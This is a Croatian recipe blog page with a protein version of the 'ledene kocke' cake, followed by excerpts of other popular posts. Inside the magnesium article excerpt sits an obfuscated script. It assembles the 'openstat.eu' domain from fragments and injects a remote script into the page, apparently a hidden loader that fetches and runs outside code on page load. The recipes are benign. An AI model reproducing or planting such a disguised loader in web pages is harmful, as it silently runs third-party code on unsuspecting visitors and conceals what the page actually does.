PROTEINSKE LEDENE KOCKE




Proteinske ledene kocke 




Ako tražite zdraviju alternativu, ove proteinske ledene kocke mogle bi vas ugodno iznenaditi. Zadržavaju prepoznatljiv izgled, mekoću i kremastu teksturu originala, ali koriste sastojke koji donose više proteina i manje nepotrebnih kalorija. Rezultat je lagan, osvježavajući kolač koji odlično pristaje uz popodnevnu kavu ili kao slatki međuobrok nakon treninga.




Proteinske ledene kocke 


Sastojci:

Za biskvit
  • 4 bjelanjka
  • 40-50 g zobenog brašna
  • 1 žlica meda ili javorovog sirupa
  • pola žličice praška za pecivo

Za natapanje:
  • 4 žlice mlakog mlijeka
  • nekoliko kapi ekstrakta vanilije


Za kremu
  • 300 g skira ili kremastog posnog sira
  • 1 šalica gustog grčkog jogurta
  • 30 g whey proteina od vanilije ili pola vrećice instant pudinga od vanilije
  • zaslađivač po želji


Za čokoladni preljev
  • 60 g tamne čokolade (najmanje 70 % kakaa)
  • 1 žličica kokosovog ulja
  • 2 žlice mlijeka



Priprema: 

Ispecite biskvit
Pećnicu zagrijte na 180 °C. Bjelanjke umutite u čvrsti snijeg, a pred kraj dodajte med ili javorov sirup.

Ručno umiješajte zobeno brašno i prašak za pecivo pazeći da smjesa ostane prozračna.
 
Smjesu rasporedite u kalup obložen papirom za pečenje i pecite 10 do 12 minuta. Još topao biskvit prelijte mlijekom pomiješanim s vanilijom kako bi ostao mekan i sočan.
 
 Pripremite kremu
U zdjeli sjedinite skir, grčki jogurt, whey protein ili puding od vanilije te zaslađivač po želji. Miješajte dok ne dobijete glatku i jednoličnu kremu.
 
Kremu ravnomjerno rasporedite preko potpuno ohlađenog biskvita.
 
Dodajte čokoladni sloj
Tamnu čokoladu otopite zajedno s kokosovim uljem i mlijekom. Prelijte preko kreme, zagladite površinu i kolač stavite u hladnjak na najmanje dva sata.
 
Kad se dobro rashladi, narežite na kocke i poslužite.

 
Zašto su ove proteinske ledene kocke hit ovog ljeta?
Ovaj recept spaja ono najbolje iz dva svijeta - okus omiljenog domaćeg kolača i nutritivno povoljnije sastojke. Rezultat je desert bogat proteinima, lagane teksture i osvježavajućeg okusa koji se savršeno uklapa u ljetne dane.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više